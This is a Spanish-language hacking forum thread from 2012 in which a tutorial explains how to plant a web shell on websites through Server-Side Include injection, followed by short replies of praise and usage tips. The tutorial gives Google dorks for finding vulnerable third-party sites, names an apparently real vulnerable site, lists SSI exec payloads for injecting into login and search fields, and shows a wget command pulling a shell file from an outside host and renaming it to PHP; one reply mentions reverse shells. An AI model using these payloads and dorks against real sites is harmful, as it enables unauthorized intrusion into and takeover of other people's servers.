Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Subir Shell a través de Inyección SSI (Server-side include)

  • 7 Respuestas
  • 4263 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado CalebBucker

  • *
  • Underc0der
  • Mensajes: 158
  • Actividad:
    0%
  • Reputación 0
  • Te crees Estrella? Avísame para pedirte un Deseo
    • Ver Perfil
    • [In]Seguridad Informatica
« en: Junio 22, 2012, 03:07:17 pm »

¿Qué es SSI?

Inyección SSI (Server Side Include) es una técnica de explotación de servidor que permite a un atacante enviar código a una aplicación web, que posteriormente será ejecutado localmente por el servidor web. Inyección de código SSI explota el fracaso de una aplicación web para desinfectar los datos suministrados por el usuario antes de que se insertan en un server-side interpretada archivo HTML.

Si un atacante envía un Server-Side Include, él puede tener la capacidad de ejecutar comandos del sistema operativo, o incluir el contenido de un archivo restringido la próxima vez que se sirve de la página.

Descripción: http://nightcode.weebly.com/ssi-injection.html

Empecemos.

Paso I - Encontrar un Sitio Vulnerable:

El mejor Dork que he encontrado es inurl:bin/Cklb/ entonces lo escribimos en Google y vamos ir probando...

Paso II - Probando el Sitio Vulnerable:

Cuando usamos la Dork  iremos probando web por web para identificar si el sitio es vulnerable a este tipo de inyección...

¿Como identifico si el sitio es vulnerable?

Ejecutando estos simple comandos:
Código: [Seleccionar]
<!--#echo var="DATE_LOCAL" -->
Mostrara la Fecha

<!--#exec cmd="whoami"-->
Mostrara que el usuario se esta ejecutando en el servidor (Windows)

<pre><!--#exec cmd="ls -a" --></pre><!--#exec cmd="ls -a" --></pre> (Linux)
Mostrara todos los archivos en el directorio

<!-- #exec cmd="dir" --> (Windows)
Mostrara todos los archivos en el directorio

Nota: Tenemos que utilizar las etiquetas <pre> </ pre> cuando ejecutamos algun comando.

Ejemplo: <pre><!--#exec cmd="ls -a" --></pre><!--#exec cmd="ls -a" --></pre>

Entonces tomamos uno de los comandos y lo insertamos en los cuadros de búsqueda o campos de inicio de sesión.

Los campos de inicio de sesión en su mayoría son vulnerables.

Sitio Vulnerable, ejemplo
http://dev.stockphotosamerica.com/bin/Cklb

Lo primero que haremos es ejecutar el comando en los campos como mencione lineas arriba, entonces esto deberia de quedar asi:



& nos devolverá todos los archivos del directorio....



Ahora vemos que nuestro comando se ejecutado con éxito y que el sitio es vulnerable ....

Paso II - Subiendo la Shell:

Como ya sabemos que el sitio web es vulnerable, entonces ya estamos listos para crear una shell.

En primer lugar tenemos que tener la shell en un .TXT y la subimos a cualquier host o nuestro host propio, ejemplo:

www.sitio-web.com/shell.txt

Ahora tenemos que descargar la shell con el siguiente comando:

<!--#exec cmd="wget http://sitio-web.com/dir/shell.txt" -->

Ahora sólo pegamos en el campo y pulsamos Entrar o Intro.



Para ver si el archivo en .TXT se ha descargado, tenemos que ejecutar el comando que usamos antes para listar los directorios:

<pre><!--#exec cmd="ls -a" --></pre><!--#exec cmd="ls -a" --></pre>

En este caso yo he colocado config1.txt ustedes pueden utilizar cualquier nombre



Entonces si vemos que se ha descargado correctamente, ahora solo debemos cambiar el nombre de .Txt  a .Php, utilizando el siguiente comando:

<!--#exec cmd="mv config1.txt config.php" -->

Ahora, tenemos que listar nuevamente todos los archivos y tratar de encontrar la shell, en este caso se mostrara como config.php



Ahora, como ya sabemos que la shell esta en formato php, solo nos faltaria entrar a dicho archivo desde el navegador:


& Voila tenemos nuestra shell....


Les dejare algunas dorks:
Código: [Seleccionar]
inurl:bin/Cklb/ - Best Dork
inurl:login.shtml
inurl:login.shtm
inurl:login.stm
inurl:search.shtml
inurl:search.shtm
inurl:search.stm
inurl:forgot.shtml
inurl:forgot.shtm
inurl:forgot.stm
inurl:register.shtml
inurl:register.shtm
inurl:register.stm
inurl:login.shtml?page=

Espero que hayas aprendido algo...

Saludos.
« Última modificación: Noviembre 23, 2014, 12:55:30 pm por Expermicid »

Desconectado hdbreaker

  • *
  • Underc0der
  • Mensajes: 411
  • Actividad:
    0%
  • Reputación 0
  • HD_Breaker
    • Ver Perfil
    • Security Signal
    • Email
  • Skype: hdbreaker96
  • Twitter: @SecSignal
« Respuesta #1 en: Junio 22, 2012, 03:43:57 pm »
Muy Bien Explicado!

Ser Libres es un Privilegio por el cual pocos estamos dispuestos a correr el riesgo

Desconectado Stuxnet

  • *
  • Underc0der
  • Mensajes: 259
  • Actividad:
    0%
  • Reputación 2
    • Ver Perfil
    • Devel Security
  • Twitter: _stuxnet
« Respuesta #2 en: Junio 22, 2012, 04:08:28 pm »
Excelente Información

Desconectado Pr0ph3t

  • *
  • Underc0der
  • Mensajes: 443
  • Actividad:
    0%
  • Reputación 0
  • © Underc0de Team
    • Ver Perfil
  • Skype: thebrowfc
« Respuesta #3 en: Junio 22, 2012, 04:49:15 pm »
Muy bueno CalebBucker, sigue así crack.
Twitter: @The_Pr0ph3t
pr0ph3t@hotmail.es

Desconectado s3cur1tyr00t

  • *
  • Underc0der
  • Mensajes: 86
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« Respuesta #4 en: Junio 22, 2012, 08:55:18 pm »
Muy bueno, lo estuve probando un poquito... en algunos casos es posible establecer una conexión reversa con la shell del sistema operativo víctima.

Gracias por compartir...

Saludos,

Desconectado Dedalo

  • *
  • Underc0der
  • Mensajes: 117
  • Actividad:
    0%
  • Reputación 0
  • KUSH
    • Ver Perfil
    • Twitter Personal
  • Twitter: https://twitter.com/SeguridadBlanca
« Respuesta #5 en: Junio 23, 2012, 03:04:30 am »
Muy bien explicado el tutorial, me gustaría complementarlo con este link en el cual se explica mejor como funcionan los ServerSideIncludes para asi poder hacer mejor las inyecciones, también me gustaría añadir que es un poco dificil encontrar sitios web que aun usen SSI porque este método ya es muy arcaico, tanto como encontrar activo el method PUT en los Http Headers, Igual y un gran +1 porque el tuto está muy bien explicado!


Saludos,
Dedalo

Desconectado D3SG4RR4D0R

  • *
  • Underc0der
  • Mensajes: 36
  • Actividad:
    0%
  • Reputación 0
  • Intentando aprender sin perder la cordura
    • Ver Perfil
« Respuesta #6 en: Junio 23, 2012, 07:07:50 am »
Una cosilla los comandos donde los ejecutas en la barra de navegacion en el login o donde?
Gracias de antemano ;)


Desconectado s3cur1tyr00t

  • *
  • Underc0der
  • Mensajes: 86
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« Respuesta #7 en: Junio 23, 2012, 08:44:07 am »
Una cosilla los comandos donde los ejecutas en la barra de navegacion en el login o donde?
Gracias de antemano ;)

Los comandos los puedes ejecutar tanto en el input text del usuario, como en la variable que pasa datos a partir de lo que tu escribes. Cuando me refiero a la variable estoy hablando de ¨la url¨.

Saludos,

 

¿Te gustó el post? COMPARTILO!



Shell-Save_1.0 [Administra de manera mas eficiente tus webshells online]

Iniciado por q3rv0

Respuestas: 9
Vistas: 4856
Último mensaje Abril 14, 2013, 05:34:46 am
por s3cur1tyr00t
Deface un site utilizando shell c99 por keymort

Iniciado por ..::key-m0rt::..

Respuestas: 4
Vistas: 4344
Último mensaje Marzo 30, 2011, 08:56:50 pm
por Devilboy
HTTP METHODS: Subiendo Shell mediante PUT

Iniciado por dracko.rx

Respuestas: 0
Vistas: 2901
Último mensaje Febrero 24, 2010, 03:07:58 pm
por dracko.rx
Una noche con PrestaShop [anécdota][shell-upload]

Iniciado por Xt3mP

Respuestas: 5
Vistas: 4940
Último mensaje Julio 18, 2012, 06:39:49 pm
por Xt3mP
Intrusión a un Servidor Por SQLi y Obtener shell

Iniciado por hdbreaker

Respuestas: 11
Vistas: 5185
Último mensaje Julio 15, 2012, 09:12:22 am
por عя ҜΔŁĬ